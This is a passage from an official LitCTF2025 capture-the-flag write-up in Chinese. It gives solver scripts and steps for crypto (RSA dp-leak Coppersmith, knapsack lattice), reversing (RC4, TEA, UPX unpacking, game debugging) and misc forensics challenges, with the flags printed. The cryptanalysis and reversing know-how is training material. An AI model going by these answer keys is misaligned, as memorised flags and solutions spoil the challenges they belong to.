c = pow(m,e,n)
hint = temp>>180
print(f"e = {e}")
print(f"n = {n}")
print(f"c = {c}")
print(f"hint = {hint}")
'''
e = 1915595112993511209389477484497
n = 12058282950596489853905564906853910576358068658769384729579819801721022283769030646360180235232443948894906791062870193314816321865741998147649422414431603039299616924238070704766273248012723702232534461910351418959616424998310622248291946154911467931964165973880496792299684212854214808779137819098357856373383337861864983040851365040402759759347175336660743115085194245075677724908400670513472707204162448675189436121439485901172477676082718531655089758822272217352755724670977397896215535981617949681898003148122723643223872440304852939317937912373577272644460885574430666002498233608150431820264832747326321450951
c = 5408361909232088411927098437148101161537011991636129516591281515719880372902772811801912955227544956928232819204513431590526561344301881618680646725398384396780493500649993257687034790300731922993696656726802653808160527651979428360536351980573727547243033796256983447267916371027899350378727589926205722216229710593828255704443872984334145124355391164297338618851078271620401852146006797653957299047860900048265940437555113706268887718422744645438627302494160620008862694047022773311552492738928266138774813855752781598514642890074854185464896060598268009621985230517465300289580941739719020511078726263797913582399
hint = 10818795142327948869191775315599184514916408553660572070587057895748317442312635789407391509205135808872509326739583930473478654752295542349813847128992385262182771143444612586369461112374487380427668276692719788567075889405245844775441364204657098142930
'''
图片[76],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

exp

from Crypto.Util.number import *
import gmpy2
import itertools



def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()
        print(d)
    R = f.base_ring()
    N = R.cardinality()
    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)
    G = Sequence([], f.parent())
    for i in range(m + 1):
        base = N ^ (m - i) * f ^ i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)
    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)
    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)
    B = B.dense_matrix().LLL()
    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)
    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots
    return []

def solve_dp_leak(e,dp,n,c):
    tmp = gmpy2.mpz(pow(5,e*dp,n)-5)
    p = gmpy2.gcd(tmp,n)
    q = n//p
    phi = (p-1)*(q-1)
    try:
        d = gmpy2.invert(e,phi)
        m = pow(c,d,n)
        flag = long_to_bytes(int(m))
        return flag
    except:
        pass
e = 1915595112993511209389477484497
n = 12058282950596489853905564906853910576358068658769384729579819801721022283769030646360180235232443948894906791062870193314816321865741998147649422414431603039299616924238070704766273248012723702232534461910351418959616424998310622248291946154911467931964165973880496792299684212854214808779137819098357856373383337861864983040851365040402759759347175336660743115085194245075677724908400670513472707204162448675189436121439485901172477676082718531655089758822272217352755724670977397896215535981617949681898003148122723643223872440304852939317937912373577272644460885574430666002498233608150431820264832747326321450951
c = 5408361909232088411927098437148101161537011991636129516591281515719880372902772811801912955227544956928232819204513431590526561344301881618680646725398384396780493500649993257687034790300731922993696656726802653808160527651979428360536351980573727547243033796256983447267916371027899350378727589926205722216229710593828255704443872984334145124355391164297338618851078271620401852146006797653957299047860900048265940437555113706268887718422744645438627302494160620008862694047022773311552492738928266138774813855752781598514642890074854185464896060598268009621985230517465300289580941739719020511078726263797913582399
hint = 10818795142327948869191775315599184514916408553660572070587057895748317442312635789407391509205135808872509326739583930473478654752295542349813847128992385262182771143444612586369461112374487380427668276692719788567075889405245844775441364204657098142930
dp_high = hint<<180
R.<k1,k2> = PolynomialRing(Zmod(n))
f = e * (dp_high + k1) + k2 - 1
res = small_roots(f,(2^180,2^101),m=2,d=5)[0]
for dp_low in res:
    dp= dp_high+int(dp_low)
    flag = solve_dp_leak(e,dp,n,c)
    if b'LitCTF' in flag:
        print(flag)
        break

new_bag

题目源码

from Crypto.Util.number import *
import random
import string

def get_flag(length):
    characters = string.ascii_letters + string.digits + '_'
    flag = 'LitCTF{' + ''.join(random.choice(characters) for _ in range(length)) + '}'
    return flag.encode()

flag = get_flag(8)
print(flag)
flag = bin(bytes_to_long(flag))[2:]

p = getPrime(128)
pubkey = [getPrime(128) for i in range(len(flag))]
enc = 0
for i in range(len(flag)):
    enc += pubkey[i] * int(flag[i])
    enc %= p
f = open("output.txt","w")
f.write(f"p = {p}\n")
f.write(f"pubkey = {pubkey}\n")
f.write(f"enc = {enc}\n")
f.close()

output.txt

p = 173537234562263850990112795836487093439
pubkey = [184316235755254907483728080281053515467, 301753295242660201987730522100674059399, 214746865948159247109907445342727086153, 190710765981032078577562674498245824397, 331594659178887289573546882792969306963, 325241251857446530306000904015122540537, 183138087354043440402018216471847480597, 184024660891182404534278014517267677121, 221852419056451630727726571924370029193, 252122782233143392994310666727549089119, 175886223097788623718858806338121455451, 275410728642596840638045777234465661687, 251664694235514793799312335012668142813, 218645272462591891220065928162159215543, 312223630454310643034351163568776055567, 246969281206041998865813427647656760287, 314861458279166374375088099707870061461, 264293021895772608566300156292334238719, 300802209357110221724717494354120213867, 293825386566202476683406032420716750733, 280164880535680245461599240490036536891, 223138633045675121340315815489781884671, 194958151408670059556476901479795911187, 180523100489259027750075460231138785329, 180425435626797251881104654861163883059, 313871202884226454316190668965524324023, 184833541398593696671625353250714719537, 217497008601504809464374671355532403921, 246589067140439936215888566305171004301, 289015788017956436490096615142465503023, 301775305365100149653555500258867275677, 185893637147914858767269807046039030871, 319328260264390422708186053639594729851, 196198701308135383224057395173059054757, 231185775704496628532348037721799493511, 243973313872552840389840048418558528537, 213140279661565397451805047456032832611, 310386296949148370235845491986451639013, 228492979916155878048849684460007011451, 240557187581619139147592264130657066299, 187388364905654342761169670127101032713, 305292765113810142043496345097024570233, 303823809595161213886303993298011013599, 227663140954563126349665813092551336597, 257833881948992845466919654910838972461, 291249161813309696736659661907363469657, 228470133121759300620143703381920625589, 337912208888617180835513160742872043511, 252639095930536359128379880984347614689, 306613178720695137374121633131944714277, 328627523443531702430603855075960220403, 283995291614222889691668376952473718279, 185992200035693404743830210660606140043, 175575945935802771832062328390060568381, 239709736751531517044198331233711541211, 325191992201185112802734343474281930993, 285825734319916654888050222626163129503, 260820892372814862728958615462018022903, 271109638409686342632742230596810197399, 195432366301516284662210689868561107229, 252351678712166898804432075801905414141, 175869608753229067314866329908981554323, 212291732707466211705141589249474157597, 299891357045144243959903067354676661051, 271237385422923460052644584552894282763, 268702576849722796315440463412052409241, 198273535005705777854651218089804228523, 177684355989910045168511400849036259973, 189237944200991357454773904466163557789, 175427967765368330787115337317676160499, 270446056495616077936737430232108222303, 243318639972702711024520926308402316247, 223872107662231922057872197123261908053, 268995355861070998347238198063073079851, 244478236168888494353493404999149985963, 230731375083676409248450208772518041369, 231630208287176700035265642824425872113, 187649298194887119502654724235771449423, 264924369987111619306245625770849264491, 327092811483332202721992798797117253283, 274967838920225995524024619709213673571, 313836314009366857157961838519499192671, 181860768653760352435352944732117309357, 184011200837375425882494435177626368109, 246455975565763627776562816894916143559, 262208917125258935991543552004318662109, 334006940602786701813813048552124976177, 241119397420390120456580389194328607351, 255370083166310325724283692646412327547, 280056982387584554076672702548437488901, 190822826881447578202544631446213911541, 206119293866065537243159766877834200177, 289535246575130471484249052043282790337, 222004375767927951747133364917437739627, 186041951615746748538744491355290007923, 299120276948597373232905692530626175519, 268645812049699572580085139845553457511, 231990902203442306941381714523426756489, 259677531562170067444672097354970172129, 232573792063456357545735601063504090387, 268451806037215206985127877726665463011, 324266632324016349795115268035757999593, 323952615081869295386415078624753400501, 302316593553669781596237136546083536339, 235576231941572491681115931798290883659, 202271277470197960243533508432663735031, 172391954991101354275650988921310984563, 215333185856183701105529790905068832303, 335916893044781805453250006520700519353, 217268288923298532517983372665872329797, 265455575922780577837866687874732212733, 182194442259001995170676842797322170297, 180222796978664332193987060700843734759, 332629077640484670095070754759241249101, 238815683708676274248277883404136375767, 246167709707533867216616011486975023679, 188375282015595301232040104228085154549, 230675799347049231846866057019582889423, 290911573230654740468234181613682439691, 173178956820933028868714760884278201561, 340087079300305236498945763514358009773, 215775253913162994758086261347636015049, 286306008278685809877266756697807931889, 175231652202310718229276393280541484041, 230887015177563361309867021497576716609, 306478031708687513424095160106047572447, 172289054804425429042492673052057816187]
enc = 82516114905258351634653446232397085739
图片[77],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

exp

from sage.all import *
from Crypto.Util.number import *
import hashlib

with open('output.txt') as f:
    data = f.readlines()
    p = int(data[0].split(' = ')[1])
    pubkey = eval(data[1].split(' = ')[1])
    enc = int(data[2].split(' = ')[1])

head = bin(bytes_to_long(b"LitCTF{"))[2:]
len_head = len(head)
n = len(pubkey)

Ge = matrix(ZZ,n-len_head+2,n-len_head+2)
for i in range(n-len_head):
    Ge[i,i] = 1
    Ge[i,-1] = pubkey[i+len_head]

for i in range(len_head):
    enc -= pubkey[i] * int(head[i])
enc %= p

Ge[-2,-2] = 1
Ge[-2,-1] = enc
Ge[-1,-1] = p

ans = ''
for i in Ge.BKZ(block_size=28)[0][:-2]:
    ans += str(abs(i))

flag = long_to_bytes(int(ans,2))
print(b'LitCTF{' + flag)

# b'LitCTF{Am3xItsT}'

->REVERSE方向

easy_rc4

图片[78],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

rc4

图片[79],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

变异rc4

exp

#include <stdio.h>
#include <stdlib.h>
#include<string.h>
unsigned char S[256];
void swap(unsigned char *a, unsigned char *b) {
	unsigned char temp = *a;
	*a = *b;
	*b = temp;
}
void rc4_init(unsigned char *key, int key_length, unsigned char *S) {
	int i, j = 0;
	for (i = 0; i < 256; i++)
		S[i] = i;
	
	for (i = 0; i < 256; i++) {
		j = (j + S[i] + key[i % key_length]) % 256;
		swap(&S[i], &S[j]);
	}
}
void rc4_crypt(unsigned char *input, unsigned char *output, int length, unsigned char *S) {
	int i = 0, j = 0, t = 0;
	unsigned char k;
	for (int counter = 0; counter < length; counter++) {
		i = (i + 1) % 256;
		j = (j + S[i]) % 256;
		swap(&S[i], &S[j]);
		t = (S[i] + S[j]) % 256;
		k = S[t];
		output[counter] = (input[counter] ^ k)^0x20;
	}
}
int main(){
	unsigned char key[]="FenKey!!";
	unsigned char flag[255]={0};
	unsigned char data[255]={120,204,78,19,49,244,115,73,79,108,79,115,192,244,53,126,206,39,118,77,25,96,122,234,68,93,192,66,129,218,28,246,100,114,88,217,148,250,248,19};
	rc4_init(key,8,S);
	rc4_crypt(data, flag, 40, S);
	printf("%s",flag);
}

FeatureExtraction

题目实现了一个离散卷积

图片[80],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

离散卷积是两个离散序列之间按照一定的规则将它们的有关序列值分别两两相乘再相加的一种特殊的运算。

分析

图片[81],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

如图所示,IDA Pro成功给出了本题的伪代码,在行49实现了一个条件分支语句来判断flag正确与否

对v11查看引用

图片[82],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

对v15查看引用

图片[83],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[84],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

unk_480080即为题目预定的密文

图片[85],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

唯一使用过v11的函数是sub_4014F0,对其进一步分析

__int64 __fastcall sub_4014F0(__int64 a1, __int64 a2, __int64 a3)
{
  int v4; // ebx
  int v5; // ebx
  _DWORD *v6; // rax
  char v8[39]; // [rsp+20h] [rbp-60h] BYREF
  char v9; // [rsp+47h] [rbp-39h] BYREF
  int v10; // [rsp+48h] [rbp-38h] BYREF
  int v11; // [rsp+4Ch] [rbp-34h]
  int v12; // [rsp+50h] [rbp-30h]
  int v13; // [rsp+54h] [rbp-2Ch]
  int j; // [rsp+58h] [rbp-28h]
  int i; // [rsp+5Ch] [rbp-24h]

  if ( (unsigned __int8)sub_425190(a2) || (unsigned __int8)sub_425190(a3) )
  {
    sub_460390(a1);
  }
  else
  {
    v13 = sub_425120(a2);
    v12 = sub_425120(a3);
    v11 = v13 + v12 - 1;
    sub_43EE50(&v9);
    v10 = 0;
    sub_4603B0(v8, v11, &v10, &v9);
    sub_43EEC0(&v9);
    for ( i = 0; i < v13; ++i )
    {
      for ( j = 0; j < v12; ++j )
      {
        v4 = *(_DWORD *)sub_425200(a2, i);
        v5 = *(_DWORD *)sub_425200(a3, j) * v4;
        v6 = (_DWORD *)sub_460470(v8, i + j);
        *v6 += v5;
      }
    }
    sub_4602D0(a1, v8);
    sub_460420(v8);
  }
  return a1;
}

__int64 __fastcall sub_425200(_QWORD *a1, __int64 a2)
{
  return 4 * a2 + *a1;
}

__int64 __fastcall sub_460470(_QWORD *a1, __int64 a2)
{
  return 4 * a2 + *a1;
}

函数对每对 (i, j),算乘积 a2[i] * a3[j],加到输出索引 i+j

Solver

已知输出信号 C 和卷积核 K,可以通过多项式除法来求解

def deconvolve(convolved, kernel):
    m = len(kernel)
    n = len(convolved) - m + 1
    signal = []
    for i in range(n):
        acc = sum(signal[i-j] * kernel[j]
                  for j in range(1, m)
                  if i-j >= 0)
        signal.append((convolved[i] - acc) // kernel[0])
    return signal

if __name__ == "__main__":
    C = [5776,15960,28657,34544,40294,43824,51825,53033,58165,58514,
         61949,56960,53448,49717,47541,45519,40607,40582,38580,42320,
         41171,41269,39370,44224,48760,49558,48128,46531,47088,46181,
         46707,46879,48098,52047,53933,56864,60564,64560,66744,63214,
         60873,58245,55179,56857,51532,44308,32392,27577,19654,14342,
         11721,9112,6625]
    K = [76,105,116,67,84,70,50,48,50,53]
    S = deconvolve(C, K)
    flag = ''.join(map(chr, S))
    print(flag)

easy_tea

图片[86],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

去花

让后是tea

#define _CRT_SECURE_NO_WARNINGS 1
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#define DELTA 0x114514

void DTea(uint32_t* flag, const uint32_t* Key) {
	uint32_t sum = DELTA * 32;
	int i;
	uint32_t v1 = flag[0];
	uint32_t v2 = flag[1];
	for (i = 0; i < 32; i++) {
		v2 -= ((v1 << 4) + Key[2]) ^ (v1 + sum) ^ ((v1 >> 5) + Key[3]);
		v1 -= ((v2 << 4) + Key[0]) ^ (v2 + sum) ^ ((v2 >> 5) + Key[1]);
		sum -= DELTA;
	}
	flag[0] = v1;
	flag[1] = v2;
}
int main() {
	uint32_t Key[4] = {0x11223344, 0x55667788, 0x99AABBCC, 0xDDEEFF11 };
	uint32_t enc[50] = {0x977457fe,0xda3e1880,0xb8169108,0x1e95285c,0x1fe7e6f2,0x2bc5fc57,0xb28f0fa8,0x8e0e0644,0x68454425,0xc57740d9};
	for (int i = 0; i < 5; i++) {
		DTea(&enc[i * 2], Key);
	}
	puts((char *)enc);
	
	return 0;
}

LitCTF{590939df61690383a47ed1bc6ade9d51}

图片[87],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

pickle

出题脚本

import types
import dill

def make_challenge():
    def check():
        user_input = input("input your flag > ").encode()

        decrypted = []
        for i in range(len(user_input)):
            b = user_input[i] - 6
            decrypted.append(b)

        fflag =[85, 84, 174, 227, 132, 190, 207, 142, 77, 24, 235, 236, 231, 213, 138, 153, 60, 29, 241, 241, 237, 208, 144, 222, 115, 16, 242, 239, 231, 165, 157, 224, 56, 104, 242, 128, 250, 211, 150, 225, 63, 29, 242, 169]
        key_ints = [0x13, 0x37, 0xC0, 0xDE, 0xCA, 0xFE, 0xBA, 0xBE]

        def encrypt(flag_bytes, key):
            result = []
            for i in range(len(flag_bytes)):
                b = flag_bytes[i] ^ key[i % len(key)]
                result.append(b)
            return result

        encrypted_flag = encrypt(fflag, key_ints)

        if decrypted == encrypted_flag:
            print("Good job! You made it!")
        else:
            print("Nah, don't give up!")

    return check

chall_func = make_challenge()

data = dill.dumps(chall_func)

with open('challenge.pickle', 'wb') as f:
    f.write(data)
f.close()

验证

import pickle
import dill

with open('challenge.pickle', mode='rb') as file:
    code = file.read()
    loaded_func = dill.loads(code)
loaded_func()

只需要用pickledbg慢慢调试即可看出有异或操作
最后得到flag:LitCTF{6d518316-5075-40ff-873a-d1e8d632e208}

Robbie Wanna Revenge

分析GameAssemble.dll,首先是经典的魔改UPX壳,把标志位该回去然后再用UPX5.01脱壳就行了

图片[88],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

然后再用IL2CppDumper把符号表拉出来

图片[89],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

然后分析Assmble-CSharp.dll,找到GetFlag函数地址

图片[90],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

然后再给函数命个名

图片[91],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

因为这里面没有直接找到调用GetFlag函数的地方,而且从逻辑上来看也是要让玩家通关过后才会调用这

个函数

图片[92],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

这里就用IDA动调GameAssemble.dll,随便找个Update或者Start函数打个断点比如我这里找了一个

PlayerMovement.Start()函数来打断点

图片[93],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[94],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

然后再开始动调

图片[95],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

直接点play

图片[96],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

然后现在在IDA里面可以看到成功触发了断点

图片[97],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

直接利用这个call指令去调用我们的GetFlag函数

图片[98],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[99],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

然后一直到这个函数运行结束返回地址之前,找到RAX寄存器存储的地址,这个地址就是我们要找的

Flag的地址

图片[100],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

然后跳转到这个地址

图片[101],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

这个就是Flag了

图片[102],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

总结:

建议动调,非常方便,如果去强行分析Cipher类是怎么做的加解密,会非常耗时,不过我觉得能做出来

的师傅应该都不会这样做的。

->MISC方向

像素中的航班

图片[103],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

一张图片

由于是LitCTF举办方是郑州的

所以出发地应该是郑州新郑机场,廊桥213

长城杯总决赛是在4月28日,在福州举办

图片[104],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

使用飞常准app 搜索前几天的中国南方航空航班从郑州到福州

图片[105],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

找到26号的廊桥为213的航班

航班号为CZ8289

flag为 LitCTF{CZ8289}

灵感菇🍄哩菇哩菇哩哇擦灵感菇灵感菇🍄

查看源代码

图片[106],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

发现了探姬师傅的github项目地址

图片[107],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

下载脚本运行

python .\main.py -d <content>

图片[108],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

NSSCTF{809bb7f2-fd2c-489e-844b-968bd387e1c8}

消失的文字

hid data 鼠标流量 左键

tshark提取

tshark -r usb.pcapng -T fields -e usbhid.data | sed '/^\s*$/d' > usbdata.txt

提取出的加上冒号

#给提取出来的数据加上冒号
f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
    a=f.readline().strip()
    if a:
        if len(a)==16:
            out=''
            for i in range(0,len(a),2):
                if i+2 != len(a):
                    out+=a[i]+a[i+1]+":"
                else:
                    out+=a[i]+a[i+1]
            fi.write(out)
            fi.write('\n')
    else:
        break

fi.close()

将其转换为坐标

nums = []
keys = open('out.txt','r')
f = open('xy.txt','w')
posx = 0
posy = 0
for line in keys:
    if len(line) != 12 :
        continue
    x = int(line[3:5],16)
    y = int(line[6:8],16)
    if x > 127 :
        x -= 256
    if y > 127 :
        y -= 256
    posx += x
    posy += y
    btn_flag = int(line[0:2],16)  # 1 for left , 2 for right , 0 for nothing
    if btn_flag == 1 :
        f.write(str(posx))
        f.write(' ')
        f.write(str(posy))
        f.write('\n')

f.close()

使用gnuplot将坐标值转换为图像

gnuplot
gnuplot>plot "xy.txt"
图片[109],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

镜像翻转+旋转

https://www.lddgo.net/image/flip

图片[110],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[111],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

到压缩包密码:868F-83BD-FF

解压压缩包得到hidden-word.txt根据文件名找到对应的加密方式,可以让gpt写脚本,也可以在线网站:https://hidden-word.top/

图片[112],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

解密得到LitCTF{39553317-df30-4951-8aad-fcaf3028ca9d}

洞妖洞妖

打开ppt发现存在宏

图片[113],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

直接编辑 发现一串加密代码和加密后的密文5uESz7on4R8eyC//

图片[114],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

gpt分析是base64换表代码里面表码没了

应该是去找码表然后解密密文

发现ppt除了第一张存在数据后面的都是空幻灯片结合题目名字联想到是二进制

但是图片都一样 然后在个选项卡里面找找数据发现在自动切换幻灯片那里发现了猫腻

图片[115],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[116],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[117],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

第一张是提示应该是 第二张和第三张是1和0

因为幻灯片过多所以手提取太麻烦写个脚本提取一下

import os
import win32com.client

# PowerPoint 文件路径
pptm_file = r'file.pptm'

# 检查文件是否存在
if not os.path.exists(pptm_file):
    print(f"文件不存在: {pptm_file}")
    exit()

try:
    # 启动 PowerPoint 应用,确保窗口是可见的
    powerpoint = win32com.client.Dispatch("PowerPoint.Application")
    powerpoint.Visible = True  # 显示 PowerPoint 窗口

    # 打开 PowerPoint 演示文稿
    print(f"尝试打开演示文稿:{pptm_file}")
    presentation = powerpoint.Presentations.Open(pptm_file)
    print(f"成功打开演示文稿:{pptm_file}")

    # 遍历所有幻灯片并提取过渡时间
    transition_times = []  # 用于存储每张幻灯片的过渡时间
    for slide_index, slide in enumerate(presentation.Slides, start=1):
        slide_transition = slide.SlideShowTransition
        if slide_transition.AdvanceOnTime:
            advance_time = slide_transition.AdvanceTime  # 获取自动换片时间
            transition_times.append(int(advance_time))  # 转换为整数并存入列表
        else:
            transition_times.append(None)  # 没有设置自动换片时间

    # 打印每一张幻灯片的过渡时间,不换行且不带空格
    for advance_time in transition_times:
        if advance_time is not None:
            print(f"{advance_time}", end='')  # 不换行且不加空格

    # 关闭 PowerPoint 演示文稿和应用
    presentation.Close()
    powerpoint.Quit()

except Exception as e:
    print(f"发生错误: {e}")
    # 如果错误发生,输出更详细的错误信息
    import traceback
    traceback.print_exc()

8639910000111000101110010011000111110111111011010110101110101100111011011011101100110101110010101110100111001111100101110001110000110101100111001011001101111010110111100001011110101111001111100001101100110101011010010110011011000101011110001101110000011000011011100101011100110110011001001011110101011010011001000110011111001101000100100000111000101010101110010110101001010011100111110100101010001101000011011111001001110100010001110111000011001001100010101111

图片[118],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

然后去掉86399

直接解码二进制

图片[119],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

解码失败

试一下切换成7位二进制转ascll

图片[120],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

现在得到的应该就是码表

然后base64换表解密

得到pptandword是个提示或者是密钥

图片[121],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

那word在哪呢

可以把ppt改后缀名为zip或直接用压缩包软件打开找一下是不是藏了word

在media文件夹发现有两张图片

图片[122],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[123],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

大小都不一样显示却一样应该是尾部藏了东西解压出来010分析一下

图片[124],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

果然尾部跟了一个倒置的pk头

用工具把文件逆转一下

图片[125],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

第一个文件改为后缀名为zip看看发现里面是加密的word文件

图片[126],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

好那密码应该就是刚刚解出来的了pptandword

图片[127],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[128],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

打开是个图片

对图片进行检查发现没存东西

然后移开图片全选一下发现有文字

图片[129],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

改个字体颜色就能看到flag

图片[130],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

Cropping

拿到flaggg.zip打开发现需要密码

图片[131],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

伪加密修复就行

解压后里面zip是100张二维码碎片图片

图片[132],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

写个脚本恢复二维码

from PIL import Image
import os

# 参数设置
rows = cols = 10
tile_dir = ""  # 存放 tile 的目录
output_image = "reconstructed_flag.png"

# 打开第一张 tile 以获取 tile 大小
sample_tile = Image.open(os.path.join(tile_dir, "tile_0_0.png"))
tile_width, tile_height = sample_tile.size

# 创建空白大图
reconstructed = Image.new("RGB", (cols * tile_width, rows * tile_height))

# 依次粘贴小图
for row in range(rows):
    for col in range(cols):
        tile_path = os.path.join(tile_dir, f"tile_{row}_{col}.png")
        tile = Image.open(tile_path)
        reconstructed.paste(tile, (col * tile_width, row * tile_height))

# 保存还原图像
reconstructed.save(output_image)
print(f"图像已成功还原并保存为:{output_image}")

还原出原图

图片[133],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

Flag:LitCTF{e7c3f4b2-9a6f-4d3f-9f98-0b3db91c2a12}

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞16 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容